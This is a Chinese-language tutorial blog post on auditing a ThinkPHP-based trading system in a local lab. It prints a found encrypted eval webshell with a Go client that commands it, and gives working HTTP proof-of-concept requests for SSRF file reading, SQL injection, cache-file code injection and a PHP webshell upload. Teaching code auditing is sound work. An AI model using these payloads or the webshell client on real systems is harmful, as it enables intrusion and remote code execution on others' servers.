文章总结: 这篇文章是一篇关于ThinkPHP框架代码审计的教程,通过一个多语言微盘系统的例子,详细介绍了代码审计的思路和流程。作者首先讲解了如何搭建本地环境,然后分析了ThinkPHP的目录结构和MVC模式,最后通过实际案例展示了SSRF、SQL注入、缓存导致的任意文件写入和文件上传等常见漏洞的发现和利用方法。文章提供了详细的POC示例,对于初学者了解代码审计流程和ThinkPHP框架的安全问题具有很好的指导意义。
综合评分: 89
文章分类: 代码审计,WEB安全,漏洞分析,渗透测试,PHP
面向ThinkPHP框架的代码审计思路流程—某多语言微盘系统
原创
LinaBaby
0x33 SEC
2025年11月19日 12:00
德国
面向ThinkPHP框架的代码审计思路流程—某多语言微盘系统
前言:
转眼又到年末了。每到这个时候,总有一种恍惚感——不知道各位师傅是否也和我一样?消沉终究无济于事,不如行动起来。
因此,我打算从现在开始陆续写一些关于代码审计的文章,内容会涵盖 PHP 和 Java,既包括不依赖框架的原生代码,也会涉及基于主流框架开发的项目。主要面向还没接触过代码审计的朋友,希望能为大家提供一条从零到一的入门思路。
0x01-本地搭建
本文审计的是一套基于 ThinkPHP 框架开发的微盘系统源码。为了便于分析,首先需要在本地将这套源码成功运行起来。我使用的是 Windows 环境,为快速搭建 PHP 运行环境,推荐安装 PHPStudy。
将源码目录设置为网站根目录:
首先,找到包含 index.php 的目录,并将其设置为网站的根目录。index.php 是大多数 PHP 框架(包括 ThinkPHP)的入口文件。
在 ThinkPHP 中,入口文件通常应位于 public/ 目录下,而非项目根目录。虽然部分项目会将 index.php 直接放在根目录,但这并不符合安全最佳实践——因为 Web 服务器若以根目录作为站点目录,用户可能直接访问到 Runtime(ThinkPHP 的日志与缓存目录)等敏感路径,从而导致日志泄露等安全风险。
虽然这不属于代码审计的核心思路,但值得顺带提醒:如果将 ThinkPHP 项目部署到公网环境,请务必确保 Web 服务器的文档根目录指向 public/,并将入口文件置于其中。
ThinkPHP运行中生成的日志文件位于runtime/log/年月/日期.log,日志中会记录详细的请求信息,可能会有泄露账号密码的风险。
例如下图所示:
直接暴露这个runtime文件夹是很危险的。
初始化数据库:
在源码目录中通常会包含相应的 SQL 文件。如果你安装了 Navicat 等可视化数据库管理工具,可以在创建数据库后,选中该数据库并直接执行对应的 SQL 脚本。若未使用可视化工具,则可通过命令行方式初始化数据库。
具体操作步骤如下:
CREATE DATABASE 数据库名;
USE 数据库名;
SOURCE sql文件的绝对路径
更改源码中的数据库配置信息:
ThinkPHP 框架的源码通常支持两种配置数据库连接信息的方式:一种是通过 .env 文件进行配置(ThinkPHP 能够解析该类型文件),另一种是在 application/config.php 文件中直接设置数据库连接配置参数。
配置伪静态:
搭建完成:
0x02-目录结构:
拿到源代码后,首先观察其目录结构。今天审计的这套源码明显基于 ThinkPHP 框架开发——典型的 thinkphp、application 和 vendor 等目录一目了然,基本可以确定其使用的是 ThinkPHP(TP)框架。
在审计 ThinkPHP 项目时,我通常会先确认其具体版本——说不定正好是已知存在漏洞的版本。
另外,建议在拿到源码后,先用 Seay 源代码审计工具快速扫描一遍。很多第三方代码中可能藏有后门,提前发现这类问题能大幅节省后续人工审计的时间。
一、简单的后门分析
用 Seay 工具扫描后,很快定位到了 eval 函数的调用。通常情况下,控制器文件的命名不会以点(.)开头——因为在 Linux 系统中,以 . 开头的文件属于隐藏文件。因此,该文件极有可能是一个后门文件。
后门内容:
<?php
$_ = file_get_contents("php://input");
$_ = openssl_decrypt(pack("H*", substr($_, 16)), "AES-256-CFB", "518b67e652531c5fe7e25d6b2c3b4ef6", OPENSSL_RAW_DATA, substr($_, 0, 16));
$_ = json_decode(rtrim($_, "`"), true);
$_POST = array_merge($_POST, $_);
eval($_["_"]);
?>
可能是老糊涂了,一下子没看出来这是什么Shell工具生成的Webshell,不过没关系,这个 Webshell 的核心逻辑其实非常简单,略微分析就能与其进行通信(不就是个AES加密嘛)。
逐行分析:
- 获取原始 POST 请求体内容。
$_ = file_get_contents("php://input");
- 使用 AES 对称加密算法进行解密。由于 AES 是对称加密,加密与解密使用相同的密钥。此处密钥已硬编码为:518b67e652531c5fe7e25d6b2c3b4ef6。因此,只要使用该密钥对符合固定格式的 JSON 数据进行加密,即可与该 Webshell 正常通信。
$_ = openssl_decrypt(pack("H*", substr($_, 16)), "AES-256-CFB", "518b67e652531c5fe7e25d6b2c3b4ef6", OPENSSL_RAW_DATA, substr($_, 0, 16));
-
通过
json_decode()函数将解密后的明文 JSON 解析为 PHP 关联数组Raw格式:
{"_":"system('whoami');"}
$_ = json_decode(rtrim($_, "`"), true);
- 将解析得到的数组合并到 全局变量中。不过这一步实际上并无实际作用,因为后续代码并未使用_POST。
$_POST = array_merge($_POST, $_);
- 直接取出数组中
_键对应的值,并将其作为参数传入 eval() 函数执行。
eval($_["_"]);
这里给一段Golang与这个Shell通信的代码:
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/hex"
"fmt"
"io"
"net/http"
)
func main() {
// 加密密钥(与 PHP 代码一致)
key := []byte("518b67e652531c5fe7e25d6b2c3b4ef6")
// 明文(模拟要发送的 JSON)
plaintext := []byte(`{"_":"system('whoami');"}`)
// 生成随机 IV(初始化向量)
iv := make([]byte, aes.BlockSize) // 16 字节
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
panic(err)
}
// 使用 AES-256-CFB 模式加密
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
stream := cipher.NewCFBEncrypter(block, iv)
ciphertext := make([]byte, len(plaintext))
stream.XORKeyStream(ciphertext, plaintext)
// PHP 解密端期望的格式:
// 前 16 字节是 IV,后面是十六进制字符串表示的密文
data := append(iv, []byte(hex.EncodeToString(ciphertext))...)
// 发送 POST 请求
resp, err := http.Post("http://192.168.10.23/application/admin/controller/.sys.php", "application/octet-stream", bytes.NewReader(data))
if err != nil {
panic(err)
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
panic(err)
}
fmt.Println("响应内容:")
fmt.Println(string(body))
}
二、如何确定TP的版本?
可以通过全局搜索THINK_VERSION关键词,来快速定位 ThinkPHP 的版本信息,该常量通常定义在 thinkphp/base.php 文件中。经确认,当前这套源码使用的 ThinkPHP 版本为 5.0.5,属于已知存在远程代码执行(RCE)漏洞的版本。
不过,本文暂不聚焦于 ThinkPHP 框架自身的安全问题,而是从二次开发的角度出发,带大家审查在控制器等核心业务逻辑中可能存在的安全问题。
在黑盒测试场景下,如果目标应用在 application/config.php 中将 app_debug 配置项设为 true,那么当 ThinkPHP 程序运行过程中发生错误时,框架也会输出详细的调试信息——其中通常就包含具体的 ThinkPHP 版本号。
例如控制器方法不存在时报出的经典调试页面就会泄露TP的具体版本
0x03-审计:
一、前置知识
1、如何定位代码、功能点?
ThinkPHP 是国内广为人知的主流 PHP 框架。框架的核心价值在于提供一个稳固的“地基”,让普通开发者能够在此基础上快速构建属于自己的 Web 应用程序。
ThinkPHP 是一个基于 MVC 架构的 Web 开发框架。MVC(Model-View-Controller)是一种主流的软件设计模式,其核心目标是将 Web 应用程序划分为三个职责明确的部分:模型(Model)、视图(View) 和 控制器(Controller)。
MVC 模式的核心价值在于实现系统的解耦——即将原本紧密耦合的功能模块分离为相对独立的组件。通过这种分层设计,各部分可以专注于自身的职责:Model 负责数据与业务逻辑,View 负责用户界面展示,Controller 则协调两者之间的交互。
理解 MVC 模式通常需要一定的开发经验。如果你看到这里还觉得有些困惑,完全不用担心——继续往下看就好。现阶段你只需记住一点:在基于 ThinkPHP 开发的系统中,核心业务代码通常位于 application 目录下的各个模块中。
Model:
代表应用程序的数据、状态和业务逻辑。
View:
负责用户界面的呈现和布局。
Controller:
作为模型和视图之间的协调者。
这套源码中并未定义 Model 层,严格来说,其结构更接近于 VC(View-Controller) 模式,而非完整的 MVC。这在实际开发中并不少见——许多开发者出于效率或习惯,倾向于“怎么快怎么写”,直接在 Controller 中操作数据库。
具体到本项目,所有的数据库增删改查操作都是在控制器中通过直接获取数据库连接完成的,并未为每张数据表创建对应的模型类进行封装。因此,如果你看到这类代码,不必感到意外。虽然这种做法偏离了 MVC 的设计初衷,但在实际项目中,尤其是中小型或快速迭代的系统中,确实相当普遍。
因此,在审计第三方开发者基于 ThinkPHP 框架构建的 Web 应用时,最需要重点关注的代码通常位于 application 目录下。该目录下的每个子文件夹一般对应一个模块(Module),用于组织特定功能的控制器、视图等组件。
以本套源码为例,其中包含 admin 和 index 两个模块:
admin模块通常承载后台管理的核心功能;index模块则对应前台(面向用户)的主要业务逻辑。
审计时应优先深入这些模块,尤其是其控制器(Controller)中的方法,因为业务逻辑和潜在的安全风险(如输入校验缺失、危险函数调用等)往往集中于此。
2、什么是控制器? 方法?
模块目录下的controller目录对应该模块下的控制器集合,一个PHP文件代表一个控制器,index模块下的控制器有Api、Base、Order、Pay….等等。
那么,当我们访问一个 ThinkPHP 应用时,请求是如何最终调用到控制器中的具体方法的呢?
这就需要了解 ThinkPHP 的路由机制。以 ThinkPHP 5(TP5)为例(不同版本在细节上略有差异),框架默认采用一种“约定优于配置”的路由方式:
当收到一个 HTTP 请求时,TP5 会根据 URL 路径自动解析出对应的模块(module)、控制器(controller) 和操作方法(action),并据此实例化控制器类、调用指定方法。
3、TP路由规则:
TP5的默认路由规则是:
http://server/module/controller/action/param/value......
例如要调用Index模块下Goods控制器的goods方法就要这样访问:
http://192.168.10.23/index/goods/goods/参数名/参数值......
为了验证是否调用的是这个方法,我们在goods方法中第一行写入一行phpinfo直观的判断是否调用了goods方法,成功调用。
这里也体现了框架的强大之处,路由,传统的PHP项目将功能映射为单个文件,这样的项目难以阅读。通过框架,可以将具体的功能映射到控制器中的某个方法。通过规定好的访问方式,我们可以访问到具体的控制器方法。这些都是TP在底层为我们实现的,访问这个路由时,TP核心代码解析路由,创建对应的控制器(类)实例,调用对应方法(Action)。
因此,对于基于 ThinkPHP 等 MVC 框架开发的 Web 项目,安全审计的核心在于审查控制器(Controller)及其方法(Action)中的业务逻辑。我们的主要关注点应聚焦于这些方法内部是否存在安全问题
此外,还有一种情况是发现了 ThinkPHP 框架自身核心功能中的漏洞(即“挖框架洞”),这通常属于高阶研究范畴,需要对框架底层有深入理解。此类问题不在本文讨论范围内。
归根结底,绝大多数常规 Web 漏洞的本质都是:外部可控的输入 → 参数校验处理不足或未处理 → 流向危险函数。只要危险函数的参数能够被攻击者间接或直接控制,就可能形成可利用的安全漏洞。 在实际审计过程中,寻找这类漏洞通常有两种主流方法:
- 通读代码:从入口开始,逐层跟踪数据流,理解业务逻辑并识别风险点;
- 全局搜索危险函数(如
eval()、system()、file_put_contents()等),然后逆向分析其参数是否可能由用户输入控制。
0x01-SSRF(服务端请求伪造)
文件:
\application\index\controller\Api.php
控制器中定义的Public属性方法是可以是外部可以直接访问调用的,方法的参数对应着请求时候需要传入的参数,例如curlfun方法中的、params、对应了请求时需要传递的参数。这里没有对传递的URL参数进行任何过滤,导致可以伪造服务端发起任意请求,这里还可以控制请求的类型。这里可以通过file协议读取任意文件。
public function curlfun($url, $params = array(), $method = 'GET')
{
$header = array();
$opts = array(CURLOPT_TIMEOUT => 10, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => $header);
/* 根据请求类型设置特定参数 */
switch (strtoupper($method)) {
case'GET' :
$opts[CURLOPT_URL] = $url . '?' . http_build_query($params);
$opts[CURLOPT_URL] = substr($opts[CURLOPT_URL],0,-1);
break;
case'POST' :
//判断是否传输文件
$params = http_build_query($params);
$opts[CURLOPT_URL] = $url;
$opts[CURLOPT_POST] = 1;
$opts[CURLOPT_POSTFIELDS] = $params;
break;
default :
}
/* 初始化并执行curl请求 */
$ch = curl_init();
curl_setopt_array($ch, $opts);
$data = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
if($error){
$data = null;
}
return $data;
}
读取文件POC:
漏洞路径:
http://192.168.10.23/index/api/curlfun
POST /index/api/curlfunHTTP/1.1
Host:192.168.10.23
Content-Length:51
X-Requested-With:XMLHttpRequest
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/141.0.0.0Safari/537.36
Accept:*/*
Content-Type:application/x-www-form-urlencoded;charset=UTF-8
Origin:http://192.168.10.23
Referer:http://192.168.10.23/index/goods/goods/pid/1/token/d6ad3313322fbf23f39f3916cc20525e.html
Accept-Encoding:gzip,deflate,br
Accept-Language:zh-CN,zh;q=0.9
Cookie:think_var=en-us;pid9=0.5332;pid8=0.565;pid7=0.4829;pid6=25964.6599;pid5=77.5399;pid4=26.2203;pid3=0.5186;pid2=0.682;pid1=104.1798;PHPSESSID=d8tn3tkn6etnhkqg6q06unbhrq
Connection:keep-alive
url=file://C:\Windows\System32\drivers\etc\services
0x02-SQL注入
文件:
\application\index\controller\Goods.php
方法最开头使用input(助手函数)获取用户传递的参数,input函数是TP封装的用于获取GET、POST等参数值的函数。
用法:
input('?get.id'); //获取GET请求的id参数
input('?post.name'); //获取post请求的name参数
input('param.pid'); //自动根据请求类型获取pid参数,GET、POST都可以
input函数:
传统获取参数的方法是通过、GET等全局变量,这里又体现了框架的强大之处,封装了许多Web开发常用的功能函数。
function input($key = '', $default = null, $filter = '')
{
if (0 === strpos($key, '?')) {
$key = substr($key, 1);
$has = true;
}
if ($pos = strpos($key, '.')) {
// 指定参数来源
list($method, $key) = explode('.', $key, 2);
if (!in_array($method, ['get', 'post', 'put', 'patch', 'delete', 'param', 'request', 'session', 'cookie', 'server', 'env', 'path', 'file'])) {
$key = $method . '.' . $key;
$method = 'param';
}
} else {
// 默认为自动判断
$method = 'param';
}
if (isset($has)) {
return request()->has($key, $method, $default);
} else {
return request()->$method($key, $default, $filter);
}
}
在最下方调用ChickIsOpen方法并直接将pid传入该方法(未做任何过滤),该函数中直接将pid拼接到SQL语句中执行,注意这里使用的是.符号进行拼接(php中拼接字符串的语句),所以这里存在SQL注入问题。
注入POC:
POST /index/goods/goodsHTTP/1.1
Host:192.168.10.23
Content-Length:50
X-Requested-With:XMLHttpRequest
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/141.0.0.0Safari/537.36
Accept:*/*
Content-Type:application/x-www-form-urlencoded;charset=UTF-8
Origin:http://192.168.10.23
Referer:http://192.168.10.23/index/goods/goods/pid/1/token/d6ad3313322fbf23f39f3916cc20525e.html
Accept-Encoding:gzip,deflate,br
Accept-Language:zh-CN,zh;q=0.9
Cookie:think_var=en-us;pid9=0.5332;pid8=0.565;pid7=0.4829;pid6=25964.6599;pid5=77.5399;pid4=26.2203;pid3=0.5186;pid2=0.682;pid1=104.1798;PHPSESSID=d8tn3tkn6etnhkqg6q06unbhrq
Connection:keep-alive
pid=1+OR+updatexml(1,concat(0x7e,(user()),0x7e),1)
或者:
GET /index/goods/goods/?pid=1+OR+updatexml(1,concat(0x7e,(user()),0x7e),1)HTTP/1.1
Host:192.168.10.23
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/141.0.0.0Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding:gzip,deflate,br
Accept-Language:zh-CN,zh;q=0.9
Cookie:think_var=en-us;pid9=0.5332;pid8=0.565;pid7=0.4829;pid6=25964.6599;pid5=77.5399;pid4=26.2203;pid3=0.5186;pid2=0.682;pid1=104.1798;PHPSESSID=d8tn3tkn6etnhkqg6q06unbhrq
Connection:keep-alive
还记得TP获取参数的规则吗?
http://192.168.10.23/index/goods/goods/参数名/参数值......
GET /index/goods/goods/pid/1ORupdatexml(1,concat(0x7e,(user()),0x7e),1)HTTP/1.1
Host:192.168.10.23
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/141.0.0.0Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding:gzip,deflate,br
Accept-Language:zh-CN,zh;q=0.9
Cookie:think_var=en-us;pid9=0.5332;pid8=0.565;pid7=0.4829;pid6=25964.6599;pid5=77.5399;pid4=26.2203;pid3=0.5186;pid2=0.682;pid1=104.1798;PHPSESSID=d8tn3tkn6etnhkqg6q06unbhrq
Connection:keep-alive
0x03-缓存导致的任意文件写入
文件:
\application\index\controller\Pay.php
在 ThinkPHP 中,支持将任意内容写入缓存。例如,可以将数据库查询结果缓存起来,从而显著提升系统运行效率。这种做法常见于需要频繁访问相同数据的场景,通过缓存机制有效减轻数据库压力,避免重复查询,是提升应用性能的重要手段之一。
什么是缓存?
Cache::set用于创建缓存
public function testCache()
{
Cache::set("Message","Hello World");
}
执行后会在\runtime\cache目录下生成缓存文件
Cache::get用于获取缓存内容
public function testCache()
{
echo Cache::get("Message");
}
根据缓存名(name)获取到对应变量(创建是将PHP对象序列化为字符串,获取是将序列化的字符串反序列化为PHP对象),cache中的文件夹名以及生成的.php文件名是由创建时传递的name参数决定的,将这个字符串做MD5运算,生成的hash值前两位是文件夹名,取后面的字符串作为文件名。所以知道缓存名可以推导出文件夹名以及文件名。
跟进到TP核心代码\think\cache\driver\File::set(创建文件缓存对应的函数),getCacheKey用于生成文件名,跟进可以看到取name参数MD5的前两位作为文件夹名,其余作为缓存文件名称。
生成缓存的逻辑是将传入的数据序列化再写入到php文件,获取缓存是根据name的md5计算,找到对应的文件进行反序列化还原。
攻击者可以构造特殊的payload逃逸出缓存文件的闭合,从而使恶意代码能被解析。
例如:
利用字符特性逃逸闭合
在文章开头我们说过不能把入口文件放在根目录,这就是危害,如果能访问Runtime文件夹,下图所示。
\app\index\controller\Pay::qdb_notify,方法中调用了cache方法,未过滤$_GET的内容且直接缓存该变量。
通过构造特殊闭合即将恶意代码写入至缓存文件中
POC:
GET /index/pay/qdb_notify?orderid=%0D%0A@eval($_POST[%270%27]);phpinfo();//;&opstate=1&ovalue=1&sign=1\HTTP/1.1
Host:192.168.10.23
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/141.0.0.0Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding:gzip,deflate,br
Accept-Language:zh-CN,zh;q=0.9
Cookie:think_var=en-us;pid9=0.5332;pid8=0.565;pid7=0.4829;pid6=25964.6599;pid5=77.5399;pid4=26.2203;pid3=0.5186;pid2=0.682;pid1=104.1798;PHPSESSID=u2255s9hbop2vpi0i9vuscdbtu
Connection:keep-alive
0x04-文件上传
文件:
\application\admin\controller\System.php
判断POST参数是否为空,不为空直接获取img文件上传,没有任何过滤。
public function homepic()
{
if(input('post.')){
$path = '/public/uploads/';
$file = request()->file('img');
if(!isset($file)){
$this->error("请上传图片");
}
$info = $file->move(ROOT_PATH . 'public' . DS . 'uploads');
if($info){
$data['img'] = $path.$info->getSaveName();
}else{
echo $file->getError();
}
$ids = Db::name('slide')->insert($data);
if($ids){
$this->success('添加成功',url('system/homepic'),1,1);
}else{
$this->error('添加失败,请重试!');
}
die;
}else{
$slide = Db::name('slide')->where(array('isdelete'=>0))->select();
$this->assign('slide',$slide);
return$this->fetch();
}
}
POC:
POST /admin/System/homepic.htmlHTTP/1.1
Host:192.168.10.23
Content-Length:312
Cache-Control:max-age=0
Origin:null
Content-Type:multipart/form-data;boundary=----WebKitFormBoundaryeZT9wP2WBVKoJOdf
Upgrade-Insecure-Requests:1
Cookie:think_var=en-us;pid9=0.5332;pid8=0.565;pid7=0.4829;pid6=25964.6599;pid5=77.5399;pid4=26.2203;pid3=0.5186;pid2=0.682;pid1=104.1798;PHPSESSID=kbaeps1ne6o84lamfv4d4r124n;__tins__19442493=%7B%22sid%22%3A%201763514195849%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201763515995849%7D;__51cke__=;__51laig__=1
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/141.0.0.0Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding:gzip,deflate,br
Accept-Language:zh-CN,zh;q=0.9
Connection:keep-alive
------WebKitFormBoundaryeZT9wP2WBVKoJOdf
Content-Disposition:form-data;name="img";filename="uploadVul.php"
Content-Type:text/html
<?php@eval($_GET["9527"]);?>
------WebKitFormBoundaryeZT9wP2WBVKoJOdf
Content-Disposition:form-data;name="test";
123123
------WebKitFormBoundaryeZT9wP2WBVKoJOdf--
大概就是这样子,还有其它洞,这一套好像很多文章都审过洞也都很简单,给刚接触审计无从下手的朋友们提供一些思路吧。
需要源码后台
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:0x33 SEC LinaBaby《面向ThinkPHP框架的代码审计思路流程—某多语言微盘系统》